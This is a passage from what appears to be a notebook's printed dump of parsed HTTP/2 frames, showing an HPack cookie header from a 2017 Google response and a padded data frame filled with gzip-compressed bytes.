 type      = Compressed\\n\",\n        \"   |      |   |  len       = 165\\n\",\n        \"   |      |   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 71\\n\",\n        \"   |###[ HTTP/2 Frame ]### \\n\",\n        \"   |  len       = 0x122b\\n\",\n        \"   |  type      = DataFrm\\n\",\n        \"   |  flags     = set(['End Stream (ES)', 'Padded (P)'])\\n\",\n        \"   |  reserved  = 0L\\n\",\n        \"   |  stream_id = 1L\\n\",\n        \"   |###[ HTTP/2 Padded Data Frame ]### \\n\",\n        \"   |     padlen    = 230\\n\",\n        \"   |     data      = '\\\\x1f\\\\x8b\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xff\\\\xc5:\\\\xebz\\\\xdb\\\\xb6\\\\x92\\\\xff\\\\xfb\\\\x144\\\\xfcU\\\\x96\\\\xd6\\\\xb4DR7R4\\\\x9d\\\\x93:n\\\\xe2n\\\\xda\\\\xa4\\\\'\\\\xc9I\\\\xcf\\\\xa6\\\\xa9>\\\\x90\\\\x84(\\\\xc6\\\\xbc\\\\x99\\\\x00e;\\\\xb2\\\\xdem\\\\x1fg\\\\xf3\\\\x16;\\\\x03^D\\\\xc9N\\\\xd2o\\\\xff\\\\xec\\\\x97DC\\\\x003\\\\x03\\\\xcc\\\\x053\\\\x03 \\\\xa7\\\\x07~\\\\xea\\\\x89\\\\xbb\\\\x8c)K\\\\x11Gg\\\\xa7\\\\xf8\\\\xab\\\\x84\\\\x82\\\\xc5\\\\xdcK3\\\\xe6\\\\x10\\\"\\\\x1b\\\\x88\\\\xe0\\\\x90\\\\xa5\\\\x10\\\\xd9l0\\\\xe0\\\\xde\\\\x92\\\\xc5\\\\xb4\\\\x9f\\\\xe6\\\\xc1\\\\xe0=s_\\\\xd3\\\\x80\\\\x11%\\\\xa2I\\\\xe0\\\\x90EN\\\\x80\\\\x03\\\\xa3\\\\xfe\\\\xd9i\\\\xcc\\\\x04U\\\\xbc4\\\\x11,\\\\x11\\\\x0e\\\\x11\\\\xecV\\\\x0c\\\\x90\\\\xb5\\\\xadxK\\\\x9as&\\\\x9cwo\\\\x7f>1\\\\x89\\\\x82<O\\\\xd8u\\\\x11\\\\xae\\\\x1cr^\\\\xa2\\\\x9f\\\\xbc\\\\x85\\\\xd9\\\\xc8>\\\\x8bA\\\\x18\\\\xc3L|\\\\xe0\\\\xe64\\\\xf1\\\\xc3$\\\\x18\\\\x04i\\\\x1aD,\\\\x18\\\\xe8\\\\xb7\\\\xf5\\\\xe7\\\\x9c\\\\x0b\\\\x18\\\\xa3\\\\xb9?\\\\xf7\\\\xd2(\\\\xcd\\\\xe7\\\\xbaa\\\\xfaY?K\\\\x82R\\\\x88,O3\\\\x87H6\\\\xc0]\\\\x84\\\"bg\\\\xcf%\\\\xe5\\\\xe9\\\\xa0l\\\\x9dr/\\\\x0f3q\\\\xd6]\\\\x14\\\\x89\\\\'\\\\xc24\\\\xe9\\\\xf6\\\\xd67a\\\\xe2\\\\xa77\\\\xfdr\\\\ng}uq9;z\\\\xf5\\\\xf9\\\\xe7\\\\xdf\\\\xdf\\\\xff2?y9z\\\\xf5_\\\\xf4ul%\\\"xu\\\\xa4^]\\\\xfc\\\\xf1\\\\x1a\\\\x06\\\\xa7cmj\\\\xe8\\\\xaa>\\\\x1c\\\\xeb\\\\x966T\\\\x87SM3FCu\\\\xa4\\\\x19\\\\x96\\\\xa9\\\\x8f\\\\x01\\\\x0e\\\\x8d\\\\xc9t\\\\x8a\\\\xd0\\\\xd4t\\\\x03\\\\xe0H7-\\\\x0b\\\\xe1pd\\\\xc9\\\\xf6\\\\xd8\\\\x1c\\\\xe9\\\\x08\\\\xcd\\\\xe1\\\\x08\\\\xf1\\\\xc6\\\\xe3\\\\xe9\\\\x08\\\\xe9&\\\\xc6d2A8\\\\x9e\\\\x9a\\\\xd8?\\\\x99\\\\x9a\\\\x13\\\\r\\\\xa19\\\\x1eKh\\\\x99C\\\\xb3\\\\x84\\\\x92~jL4C\\\\xc2\\\\xe9\\\\x14\\\\xe9\\\\xa7C\\\\xe0%\\\\xe1\\\\xd40%\\\\xb4\\\\xc68/p\\\\xb7\\\\xa6\\\\x12Zc9>\\\\xd1\\\\xac\\\\x12ZC\\\\xbd\\\\x84r}Ss$\\\\xf9\\\\x03\\\\x1cO$\\\\x9cNF\\\\x08-]\\\\x93mk4\\\\x92\\\\xf3Y\\\\xb0R\\\\tM\\\\xab\\\\x1c\\\\xb7\\\\xc6\\\\x08A\\\\xdc\\\\t\\\\xcec\\\\xea\\\\xda\\\\xb0\\\\x86\\\\xc8\\\\xd744\\\\xc9\\\\xcf4\\\\xf4\\\\xc9XBC\\\\x97\\\\xe3\\\\xc6D\\\\x97\\\\xe3\\\\xa0\\\\x069>\\\\x02\\\\rJ8\\\\x94\\\\xfa4a\\\\xbd\\\\xb2\\\\x7f\\\\xac\\\\x8d%\\\\xfexbH8\\\\xd1t]B\\\\xc3\\\\xd2$4\\\\'\\\\x12\\\\x7f:\\\\xd5%\\\\xfd\\\\xd4\\\\x92\\\\xfa7\\\\x91a\\\\t\\\\x87\\\\x93\\\\x12\\\\x8e\\\\xe4\\\\xb89)\\\\xf9[\\\\x9aV\\\\xc2R>\\\\xd3\\\\x1a\\\\x96\\\\xeb\\\\xb6\\\\x86\\\\xa3\\\\xb2=2\\\\xe5<\\\\xd6X\\\\xea\\\\xc5\\\\xb4&V\\\\xd9?\\\\x1d\\\\xe9\\\\x15D\\\\xfe\\\\xc0\\\\xc6\\\\x9cH8\\\\x1c\\\\x1b\\\\x12\\\\x8e4\\\\xbd\\\\x84\\\\xd2\\\\xae\\\\x16hf\\\\xa2\\\\x9aCM\\\\xd3\\\\xac\\\\x12\\\\x1aSC\\\\xc2\\\\xd1\\\\xd4TA\\\\xba\\\\xc9\\\\x04\\\\xfc\\\\x06\\\\xe0t\\\\x08\\\\xf3!\\\\x1c\\\\x81^\\\\x10\\\\x9ac\\\\xb3\\\\x84\\\\x96l\\\\x9b\\\\xda\\\\xb8\\\\x82\\\\x13\\\\x89o\\\\x8eA~\\\\x84\\\\x16\\\\xe8\\\\x07\\\\xa0\\\\x05\\\\x9c$D\\\\x7f\\\\xd45\\\\x03&4\\\\x87\\\\xe8\\\\xa8\\\\xf0a\\\\x18G*-\\\\xc4\\\\xb2\\\\xe0,\\\\x9fi\\\\xea\\\\x15\\\\xf7\\\\xf8\\\\xec\\\\xc8\\\\xb3<K7\\\\x17\\\\xda\\\\xdc\\\\x18\\\\x1dm\\\\xecr\\\\x0b\\\\xf4\\\\xaf^\\\\xbct\\\\x8e\\\\x16\\\\xf9\\\\x91\\\\xbd\\\\xe9u{v{\\\\xabT\\\\x08\\\\x91\\\\xe7|\\\\xf8XcG\\\\xa1\\\\xa3\\\\xd5\\\\xdf\\\\x01\\\\x13\\\\x17\\\\x97NC@{\\\\xebE\\\\x9awW4W\\\\\\\\\\\\x9bv:\\\\xdd\\\\x03\\\\x8a(O\\\\x85\\\\xc8C\\\\xb7\\\\x10\\\\xec\\\\xfe\\\\xfe\\\\xa0\\\\xeb:\\\\xbb}]\\\\xc2B\\\\x9f\\\\xf4z=\\\\xbbGa(\\\\xa39\\\\x04\\\\x87\\\\xdfR\\\\x9f\\\\xd99\\\\x13E\\\\x9e(\\\\xee\\\\xfd}\\\\xbd\\\\xce\\\\x8b\\\\xcbMk\\\\xe6\\\\x97_\\\\x9b\\\\xdaI\\\\x8a(\\\\xfa\\\\xfb\\\\xf3G\\\\xdf[@3)\\\\x866\\\\xee\\\\xb4\\\\xf4Sb\\\\xc80\\\\xcag\\\\xc4q\\\\xaa\\\\xd0\\\\x12\\\\xa5\\\\x1eE\\\\x8c>\\\\x04(\\\\x91B\\\\xe8j8\\\\xc4\\\\xd1Cr\\\\x05\\\\x97\\\\xdb`\\\\xdc\\\\xb40\\\\xa8\\\\xea\\\\xf6\\\\xd6\\\"\\\\xbf[7\\\\xd4\\\\xdd\\\\x8b<\\\\x071iO=\\\\xd0ap\\\\x03\\\\xf3x\\\\xcb\\\\xae\\\\xd7[o\\\\x1a\\\\x06\\\"\\\\x8c\\\\xd9\\\\xc3I\\\\xba\\\\t\\\\xbbQ\\\\x9eQ\\\\xc1z(\\\\xfd[\\\\xc0\\\\xe9\\\\xf6\\\\x1a\\\\x92(\\\\rv&U=\\\\xd5W\\\\x83\\\\xde\\\\x9a:[\\\\x84wy\\\\xd4\\\\x1a\\\\xb2\\\\xc3E\\\\x97\\\\x90\\\\x03\\\\x07\\\\xd4\\\\x0e\\\\xea\\\\x06\\\\xd6\\\\x97\\\\x18\\\\x84mT?k\\\\x88<u\\\\xd1|\\\\x876\\\\xfb\\\\xb0\\\\xf8\\\\xe8\\\\xb8\\\\xb6\\\\xdbO\\\\x13\\\\x86B8\\\\xf8\\\\x15\\\\xa5\\\\xd4\\\\x97\\\\x1f\\\\xd4Ms\\\\xd1^\\\\xb6\\\\xcf\\\"&\\\\x98\\\\x82T\\\\x1b{\\\\'dw:;\\\\xcd\\\\xfe\\\\x8aE\\\\x8ft\\\\xf5\\\\xa3\\\\xe2\\\\xf1^P\\\\x1e,\\\\x82\\\\xe7\\\\x9eC[.\\\\xbd8\\\\xd67m}\\\\x80\\\\xb8\\\\x8f\\\\xaa\\\\xa4\\\\x94\\\\x90\\\\x90\\\\x96h\\\\xfc\\\\xfe\\\\x9e\\\\x10\\\\xdb\\\\xbb\\\\xbf?\\\\xd1\\\\x0f@\\\\x16\\\\xceh\\\\x0e6!\\\\x1d\\\\x16:\\\\xa4w\\\\x7f\\\\xdf\\\\x05t\\\\xf9}\\\\xdc\\\\xde4]\\\\xbf\\\\xa7\\\\x9e\\\\xe8N\\\\x1b?\\\\x92\\\\x04\\\\xe0\\\\xb5\\\\xbe\\\\xb3\\\\xe3\\\\xe4\\\\x80\\\\x8a\\\\xbd\\\\xec\\\\xd8\\\\xa9p\\\\x8e\\\\xa1\\\\xc3\\\\xa6\\\\x0e\\\\xccH\\\\x06\\\\xe4\\\\xb8\\\\x1b\\\\x00\\\\x0cX27\\\\xb4\\\\x11\\\\xe9\\\\x1d\\\\x93\\\\'\\\\x14r\\\\xbb\\\\x13v<H\\\\xb1\\\\xc7\\\\xf4\\\\x98t<P19v\\\\x8f\\\\xd9\\\\xf1\\\\x02Z\\\\x9fo\\\\xb7+\\\\x11\\\\xd2\\\\r\\\\xec\\\\xc1_e\\\\x1d\\\\x10\\\\xf6\\\\x05\\\\xe3\\\\x02\\\\xf4\\\\xd3\\\\xe9\\\\xb4\\\\x1d\\\\xbe\\\\x8b\\\\xb3\\\\xef{ \\\\xa1D\\\\xfa\\\\xe0\\\\x1a\\\\x149\\\\xa3j\\\\x10\\\\xc5\\\\xf1L\\\\xdf\\\\xf4T\\\\n\\\\xba\\\\xe9\\\\xd5;\\\\x876\\\\x1a\\\\xbds\\\\xd6\\\\xcd\\\\xf7\\\\xed\\\\x9e\\\\x83\\\\xd7(\\\\x1fh?\\\\xf4?:\\\\x1f\\\\xa0\\\\xf3c\\\\xc5\\\\xe1@\\\\xdf\\\\xda\\\\xe4\\\\xba\\\\x1d\\\\x83\\\\xd0mv\\\\xcd\\\\xb3\\\\rV\\\\xd7\\\\xfd\\\\xac\\\\xe0\\\\xcb\\\\xee\\\\x87\\\\x0f\\\\xf4#\\\\x0e|l\\\\xfb9\\\\xf5\\\\x9fF\\\\xfb\\\\x1bl\\\\x9f\\\\x0e\\\\xe7\\\\x07\\\\x9aM\\\\xaf\\\\xef\\\\xd1(\\\\xea\\\\x8ae\\\\xc8{\\\\xd2\\\\xb3\\\\xe9\\\\xfe\\\\xfeV1\\\\x98,s\\\\xb6\\\\xe8C?\\\\xbb}\\\\x05{\\\\xe2\\\\x90\\\\xc8\\\\xbd\\\\xa1\\\\x9d:n\\\\xe9,^\\\\x8d\\\\xc2\\\\x0b\\\\x97C\\\\xccI\\\\x82\\\\xae{\\\\xac\\\\x83\\\\xd2\\\\xbb\\\\x7f\\\\xddwz\\\\xd7\\\\xce\\\\xa0T\\\\xba\\\\x07JF\\\\x7f\\\\xf0vXu:\\\\xb4\\\\x9f\\\\xb3,\\\\xa2\\\\x1e\\\\xc4\\\\xa9A\\\\xe9)O\\\\xc8\\\\xb1\\\\xd7t\\\\x96\\\\\\\\\\\\x16\\\\x99\\\\xf3\\\\xe1\\\\xaf\\\\xce\\\\xc7\\\\xff\\\\x18\\\\x04*A\\\\x17\\\\x90&_\\\\x12\\\\x10\\\\xe2tP\\\\x15@\\\\xa7\\\\\\\\\\\\xdcA=t\\\\x18\\\\xb84W\\\\x0f\\\\x03L\\\\n\\\\x100\\\\xa14\\\\xe3\\\\xe1g6\\\\xd3\\\\x87\\\\xd9\\\\xad\\\\x9dQ\\\\x1f\\\\xcb\\\\xb0\\\\x13\\\\x91f3=\\\\xbbU\\\\x0e\\\\xc28\\\\x83MI\\\\x13ao$\\\\xddz\\\\xc9\\\\xc2`)f\\\\x86\\\\x91\\\\xddn*\\\\x1e5\\\\x91\\\\x9b\\\\n\\\\x91\\\\xc6\\\\xb3\\\\xe9.\\\\x1dV\\\\x89\\\\'4\\\\n\\\\x83d\\\\x96#\\\\xe9\\\\xa6\\\\x1f\\\\xb8K\\\\x15~\\\\xfc5\\\\xecw\\\\x9f\\\\xe5\\\\xcdd<\\\\x8dB_9\\\\xf4,\\\\x7f\\\\xba\\\\xd0\\\\xed\\\\xd6\\\\xca`*$\\\\xaa\\\\xe7\\\\xd6\\\\xec,\\\\xe5!*\\\\x7fF] \\\\x82\\\\x08n#\\\\x0fc\\\\x04\\\\x12\\\\xdc\\\\x84\\\\xbeX\\\\xcetM\\\\xfbq\\\\xf3\\\\x8f\\\\x98\\\\xf9!U\\\\xc0\\\\x80k \\\\xd7\\\\xdbK\\\\xb7c\\\\x9a\\\\x07ar\\\"W4\\\\xeb\\\\x8fYl\\\\xafX.B\\\\xb0v\\\\xb5V`XI\\\\xbc\\\\x00\\\\x97\\\\x11\\\\xb3\\\\x88-\\\\xc4fC\\\\x91\\\\x91\\\\x8a\\\\xbf\\\\xa3\\\\xb5\\\\x14\\\\xccg^\\\\x9aKG\\\\x98\\\\x15`\\\\xb4<\\\\n\\\\x13\\\\xd6\\\\x92~\\\\x87@\\\\xd6\\\\xaf\\\\xb3CM\\\\xf3\\\\xda\\\\x180\\\\x14*\\\\xedq\\\\xdf7\\\\x991\\\\xddCY\\\\xec\\\\xa0@\\\\xf1\\\\xd1\\\\x1e\\\\xff\\\\x01L,M[Y\\\\xd8M\\\\xfd;U\\\\xf8*U3\\\\xb5\\\\xbf,m\\\\xbc\\\\xa0q\\\\x18\\\\xdd\\\\xcdh\\\\x1e\\\\xd2H\\\\xe54\\\\xe1\\\\'`\\\\xbap\\\\xb1A\\\\xdcu\\\\xa9\\\\rPl\\\\nZ\\\\x00yoN\\\\xeef\\\\xe04)\\\\xe4\\\\xa4\\\\xc3 \\\\rj\\\\x0b\\\\xcf\\\\xc0E\\\\x14\\\\x13\\\\xfei\\\\x1b\\\\xe1\\\\xafQ\\\\xd4\\\\x93J\\\\xa7}\\\\x93\\\\xc5\\\\xb0L\\\\xea\\\\xcdceoH\\\\x07\\\\x7f\\\\xd8@^\\\\x8e\\\\xabYj7144\\\\xeb\\\\xb2\\\\x16i8\\\\xf16\\\\xfd\\\\xeb\\\\x96\\\\x8e6}\\\\xc1\\\\x91W=\\\\xb7\\\\x86\\\\x1d\\\\xb5\\\\xcb\\\\x00ZD3\\\\xcef\\\\xf5\\\\xc7\\\\x86\\\\xc5\\\\xa5\\\\x9c7\\\\xe5\\\\xacn\\\\x1a\\\\xf9\\\\x95\\\\x0b\\\\xa1Jf\\\\t,\\\\x80F\\\\x1b\\\\x88\\\\xd4\\\\xa2\\\\xf1\\\\x83q\\\\xe3.#k\\\"}\\\\x8c/BU\\\\xa2 \\\\xe5LGQ\\\\x1f(\\\\x0c\\\\xb1x\\\\x850}\\\\x14\\\\xc1\\\\xe7k?\\\\xe4\\\\xb09\\\\xeffa\\\"U\\\\xe1\\\\xa6\\\\xb7\\\\xf6~\\\\x17\\\\x04\\\\x90\\\\xab\\\\xca\\\\r\\\\xa5^5e\\\\xb4\\\\xf5K\\\\xf4\\\\xb6\\\\x19\\\\xb47a\\\\x92\\\\x15b\\\\xc7\\\\x82a\\\\xb2\\\\x84i\\\\xda\\\\x9ee\\\\xc8\\\\xdf\\\\xe1\\\\xae\\\\x97\\\\xe9\\\\xfa\\\\x8e\\\\x97I3\\\\xbb\\\\xd4\\\\xbb\\\\n\\\\xf2\\\\x14\\\\x1cuv\\\\xb8X,\\\\xec\\\\x12\\\\xd5\\\\x85(r\\\\xb5\\\\xa1-B{\\\\xdf\\\\xb5\\\\x13\\\\xc8\\\\xd7\\\\x1b:[\\\\xa2{\\\\xa8tF!r\\\\xae\\\\xd8\\\\xd77\\\\xc0\\\\xa6\\\\xbf\\\\x88\\\\x14\\\\xda\\\\xb6,\\\\x9d\\\\xadB\\\\xd8\\\\xb2\\\\xcc\\\\xaf;\\\\xc7c\\\\x9d\\\\x9a\\\\xee\\\\xdf\\\\xdbO\\\\x12kX\\\\xce\\\\xfe\\\\x00K.\\\\xed0\\\\xc0\\\\xf3\\\\xa9\\\"\\\\x95Q\\\\xe1U\\\\xf3\\\\x80\\\\x98;;\\\\x89\\\\xbb\\\\x91\\\\xb7nG\\\\xb91\\\\x1a\\\\x1e{a\\\\xc1\\\\xb5\\\\x89vlc\\\\xa0mv\\\\xec\\\"#e+<\\\\xc9\\\\xf8\\\\x14q\\\\xd7\\\\xddQ0c\\\\xcc.\\\\xbduV\\\\x066@\\\\xb3\\\\xb7\\\\xee\\\\x8b\\\\x8b\\\\xf3<O9\\\\x84cX\\\\xf5\\\\x03M\\\\xbb\\\\xf2\\\\xcd\\\\xa1\\\\xd6\\\\xf0\\\\xdcY\\\\x14hVD\\\\xea\\\\xe1\\\"\\\\x8aZ\\\\xcb}\\\\xcc\\\\xa34E7*\\\\x16\\\\xedU\\\\x15P\\\\xc1\\\\xd5g\\\\xee\\\\x84\\\\xae\\\\xe6P\\\\xe5\\\\xa4\\\\x86a\\\\xe1q\\\\xba\\\\x07\\\\x1ex\\\\x02\\\\x873\\\\x10\\\\x172\\\\x0b\\\\xa3\\\\xe2\\\\xa4^\\\\xae\\\\xd4\\\\xb1\\\\xdd\\\\xecL\\\\xcd\\\\xf6\\\\x8a\\\\x9c\\\\xc3w\\\\x96\\\\x86p\\\\x8c\\\\xcf\\\\xdbk\\\\xb6\\\\xb7\\\\x91\\\\xa4\\\\x10\\\\xb8*\\\\xf8*\\\\xb7\\\\xca\\\\xf8\\\\x91\\\\xad\\\\xf2X\\\\xcc\\\\xc5\\\\x15\\\\xd7\\\\x0e\\\\xd6V\\\\'(G\\\\xee\\\\xde\\\\xd9\\\"\\\\xf5\\\\n\\\\xbe\\\\xae\\\\xd9K\\\\xf3o\\\\xc3_\\\\x95\\\\xe8\\\\x9a\\\\x8c\\\\x078W\\\\n\\\\xa6\\\\xdeG\\\\xae\\\\x1a\\\\xa00\\\\xf7\\\\x0bO\\\\x0cB/m\\\\xee\\\\x1a\\\\xa2\\\\xd4\\\\xcf\\\\xfa\\\\xd0A@\\\\x07\\\\x91C\\\\xf8\\\\x12\\\\xfc\\\\xc6+\\\\x84\\\\x02]\\\\t\\\\x01\\\\xbe\\\\xe55\\\\x08n&\\\\xc5\\\\r\\\\xa4F\\\\x1c\\\\x82>F\\\\x1e\\\\xbde\\\\xc0\\\\xdc\\\\x8fE\\\\xe6\\\\xd1WT~$K\\\\x8a\\\\x90q(\\\\xbdi\\\\xc4\\\\x99\\\\xed\\\\x83l1\\\\x1c=\\\\xfa8CU\\\\x1a+\\\\x8e\\\\xf2\\\\xf0\\\\xe2\\\"Q:\\\\x1d\\\\xa5\\\\xfe\\\\xeeb\\\\xb9\\\\xa1t\\\\x1b\\\\xe2r\\\\xb2\\\\xde\\\\xba\\\\xa9\\\\xc9\\\\xbb=Y\\\\xeb\\\\xc2?{\\\\xf3\\\\x03\\\\xa2\\\\x1e\\\\xe0\\\\x9cP_\\\\xd7\\\\x14\\\\x8bNg\\\\xfb\\\\xdd\\\\xbf\\\\xeeK\\\\x1d\\\\x03\\\\xdb\\\\xa63p\\\\xaf\\\\xdb8\\\\xd8l\\\\xa1m~\\\\x80?xn\\\\xdc*\\\\xde\\\\x0fWJ\\\\x085g\\\\x9c\\\\x04.9S\\\\xea6&\\\\xd4\\\\xb3\\\\xd3$u\\\\xe1\\\\xd7U\\\\xbc\\\\x88r\\\\x0e}\\\\xfa\\\\xd9?\\\\x99\\\\x07Q\\\\r\\\\xfe\\\\x9d\\\\x0e\\\\\\\\\\\\xc0\\\\xa6\\\\xdb\\\\xa1\\\\xcaz\\\\xe5\\\\xf1j0\\\\xb8\\\\xb9iJ\\\\xf9E\\\\x0ej\\\\r\\\\x96\\\\xd9\\\\x93%TsyGP\\\\x17j3r&%\\\\xe6\\\\xa7\\\\x03\\\\xfaM>1$\\\\x8d\\\\x16#l\\\\xb6\\\\xf9D\\\\xe4\\\\xecW\\\\xe8\\\\xfa\\\\x1e\\\\x17\\\\xdc~5\\\\x17/\\\\x8d\\\\x07m\\\\x16&9{\\\\r\\\\xc3\\\\xdfc\\\\x81\\\\x02\\\\xdd\\\\x817\\\\x17n\\\\xc5\\\"\\\\x88\\\\x9c\\\\x9f\\\\xffY\\\\xb2\\\\xd0\\\\xc9\\\\xd9\\\\xbf\\\\xd3\\\\xe2-\\\\x0c}\\\\x8f\\\\x0b\\\\x98\\\\xba-Nr\\\\xc3w\\\\xf5\\\\x02\\\\xce\\\\xfb\\\\xd4\\\\x13\\\\x05l3\\\\xf1\\\\xe5o\\\\xe8&\\\\x8c\\\\xdaRa{\\\\xf0D\\\\xf2\\\\x89\\\\xc9\\\\xd9sl~\\\\x8f\\\\x85\\\\x9f\\\\xc3\\\\xfe\\\\xdd\\\\xd1\\\\x8c$O\\\\xc9\\\\xd93\\\\x1cyH.7py\\\\xa5\\\\xb8\\\\x1f\\\\xdd\\\\xc9\\\\xb7] \\\\x11\\\\xd1\\\\x00`\\\\x9a!\\\\x01\\\\x1f\\\\xc0N,@\\\\xf1\\\\x05HY\\\\x9c)\\\\x9d\\\\x9c^\\\\x17\\\\xa9\\\\x8d\\\\xf3\\\\x9d\\\\x0eJ\\\\xb7\\\\x1b\\\\x80+6\\\\xfe)\\\\x0bXE\\\\x16\\\\x01\\\\x0e\\\\xd6\\\\x8c\\\\xb5o\\\\xf2\\\\x8c&\\\\xa5\\\\xbf&\\\\xcd\\\"C\\\\x8c+\\\\xd0\\\\xdf\\\\x1e]4\\\\xa3\\\\x8bGFY\\\\xd3G[2<\\\\x10\\\\x01\\\\x0e\\\\x17\\\"\\\\xcd\\\\xefP\\\\x04p\\\\x84\\\\xd2l\\\\xa4a<:{!\\\\xc7\\\\xc3\\\\xeb\\\\x82)\\\\xef\\\\x99+uw\\\\x8f\\\\xda\\\\xab\\\\x03[\\\\x06\\\\x80\\\\xe5,\\\\xf1\\\\x18\\\\x7fH\\\\xfc\\\\x9a\\\\xe64\\\\xfe\\\\x1f\\\\x91W[B\\\\x12\\\\n\\\\x08\\\\xd2L8s\\\\x88\\\\xb7\\\\xe5B\\\\xe7SmO\\\\xc9\\\\xd4\\\\xf3 \\\\xee\\\\n\\\\xde\\\\xb6\\\\xe1\\\\x1b\\\\x96\\\\xafB\\\\x8f\\\\xbdL!\\\\xc2W\\\\xce\\\\x95\\\\xc14`OG\\\\xe4\\\\x05\\\\xeb\\\\xe0\\\\xadn\\\\x98\\\\x14\\\\xccy\\\\xdcR\\\\xedU\\\\x9d\\\\xa7I\\\\xc2n\\\\xc1`\\\\x8f[\\\\xa6F\\\\\\\\V~!\\\\xd3\\\\xae\\\\xf6-\\\\x8c\\\\xb2\\\\x90\\\\xafQ\\\\x94\\\\n\\\\xd3c\\\\x98\\\\xa0 \\\\xd4\\\\xc0\\\\x19,\\\\x82\\\\x93\\\\x93C\\\\xe00@d`\\\\x8a\\\\x82\\\\xcc\\\\'\\\\xdb8\\\\x15\\\\x05\\\\xb4jU\\\\x9eX\\\\x97\\\\x9d\\\\x86\\\\xacw\\\\x15H\\\\xf9\\\\xbb\\\\xe3uu\\\\xabkM\\\\x15iL\\\\'\\\\x98\\\\xe2\\\\x1f\\\\xcf\\\\xb6{7\\\\xdc\\\\x98\\\\x05\\\\xb6\\\\x97\\\\xdc\\\\xd8\\\\x9a\\\\xdf,\\\\xa1@\\\\x9ao\\\\xc9\\\\xab\\\\xfbncj\\\\xdcZFy\\\\xe5\\\\xddS\\\\x92\\\\xf4\\\\xa4\\\\xcc\\\\xceD\\\\x91\\\\xb7\\\\xdb\\\\x0e)/\\\\xbb\\\\x89\\\"S(\\\\x08\\\\x02\\\\xaa*%\\\\\\\\f\\\\xc8\\\\x96(\\\\xd5\\\\r\\\\x0bi\\\\x0e\\\\xaeQ\\\\xa7\\\\x03?\\\\xdd\\\\xde\\\\xae@U~\\\\x9fN\\\\xa7\\\\xed\\\\xdafR\\\\x97:\\\\xed\\\\xba\\\\xba9~A\\\\x92\\\\xa4\\\\x98\\\\xa9\\\\xe5\\\\xf1k\\\\x8a\\\\x9a\\\\x90\\\\x962\\\\xb0r&\\\\xb0\\\\xd6\\\\x9b\\\\x9cf\\\\x0e!g?\\\\x83\\\\xf0\\\\x1e\\\\xab\\\\x8c\\\\xd2\\\\xfe\\\\xdd\\\\x9a\\\\x1dO\\\\x08\\\\n\\\\x95i\\\\xce\\\\xa9\\\\x8f\\\\xb9\\\\xc0\\\\x82\\\\xc6\\\\xb04L\\\\xaf\\\\x10?\\\"\\\\xa6x,\\\\x8a*\\\\xcb8D#\\\\xb2\\\\r;\\\\xcc\\\\xab\\\\xda\\\\x80\\\\x96+\\\\xabJ\\\\x13\\\\xb0&\\\\xec\\\\xf0\\\\xab\\\\xedM\\\\x8c\\\\xf1\\\\x8f\\\\xe4\\\\xac\\\\x93\\\\xb8<\\\\x83x |9T\\\\xa1\\\\x96~\\\\xd2^\\\\xf1\\\\xa9,\\\\xbc\\\\xab\\\\xf9CP/p\\\\x05\\\\xcf&\\\\x97o^\\\\x9d\\\\x98\\\\xe6\\\\xd8:\\\\xd1\\\\xc1\\\\x00\\\\xe5\\\\xfbI\\\\xe8\\\\xfb,i(*<\\\\xdc\\\\x84%\\\\xf12\\\\xfa\\\\nf9\\\\xcc\\\\xd3\\\"\\\\xf7\\\\xd8\\\\x1eJ\\\\xcde\\\\x99\\\\xeda\\\\xbb\\\\xe1\\\\xcd7\\\\xb9\\\\xb9\\\\xe1\\\\xf2\\\\xc1\\\\xf8v\\\\xbb\\\\x10\\\\x9f\\\\x93=\\\\xff\\\\x1dn\\\\x0f\\\\xc3x\\\\xdeP\\\\xb4\\\\x86\\\\xe1\\\\xae[`\\\\xd9\\\\xd7\\\\xd4v\\\\xf5\\\\xde\\\\x18\\\\xd7\\\\xc7A\\\\x05\\\\xdd\\\\xe4a1\\\\x07NY\\\\xe0\\\\xddg\\\\x9c\\\\xe1=\\\\x9eCR(\\\\x94\\\\xea\\\\xa5@)\\\\xd7\\\\x88\\\\xd9\\\\xf8rS\\\\x06(\\\\xb5W\\\\xc7\\\\xf46bI \\\\xed\\\\xa7\\\\x8d\\\\xccZ\\\\xa9\\\\xd7 \\\\x07\\\\xf8\\\\xa7C\\\\xc6S\\\\xb2\\\\xf5\\\\xa5z\\\\xcd\\\\xed\\\\xe3\\\\'\\\\n$#\\\\xf2V\\\\x05\\\\xbb\\\\x1dXd7Bo\\\\xfb\\\\x9a\\\\xc5=\\\\\\\\S\\\\xa5j\\\\x91<\\\\xafu\\\\xcd\\\\x0b7\\\\x0e\\\\x05i\\\\xc2};\\\\x13\\\\xfc_\\\\xe7\\\\xfd\\\\xe5\\\\x88\\\\x86\\\\x8a\\\\xcf\\\\x94\\\\x88\\\\xe2\\\\xebZ\\\\xe2\\\\xb5\\\\'\\\\xbe\\\\xc4]\\\\xedE\\\\xa1w\\\\x05\\\\xce\\\\xb9\\\\x90\\\\xd7S}\\\\xdc@P\\\\x93I\\\\xea\\\\x9e\\\\xec\\\\x815{W\\\\xccwt[aP]*`\\\\x91\\\\xe6\\\\xda\\\\njR?M\\\\xfd\\\\x08\\\"\\\\xd3\\\\xd1w\\\\xa4\\\\xa8\\\\xf7J\\\\xb5F8\\\\xda\\\\xe1qi/\\\\xe04;gg\\\\xb75yo@\\\\xfd\\\\x15\\\\xca\\\\xe0\\\\xcf\\\\xab\\\\x0b\\\\xac2}\\\\xd08\\\\xb3\\\\xeb\\\\xf7\\\\t\\\\x07,\\\\xb5\\\\xd55E\\\\xf4/\\\\xb2P\\\\xd82\\\\xc1\\\\xf7\\\\xc8\\\\x02\\\\xa2)$\\\\xae4\\\\xe2_\\\\xe1\\\\xf1\\\\xaa\\\\x10a\\\\xc4\\\\x15\\\\xf0\\\\x81\\\\xa0\\\\x80\\\\xc4\\\\x89i\\\\x93\\\\x97Y\\\\x06\\\\xe5\\\\x18\\\\x08\\\\x8c82\\\\x98\\\\xd4\\\\xba\\\\xc7X\\\\x19\\\\xb8\\\\xabZ\\\\xbd\\\\xf2\\\\xf3\\\\xd1\\\\xdd\\\\xa8\\\\x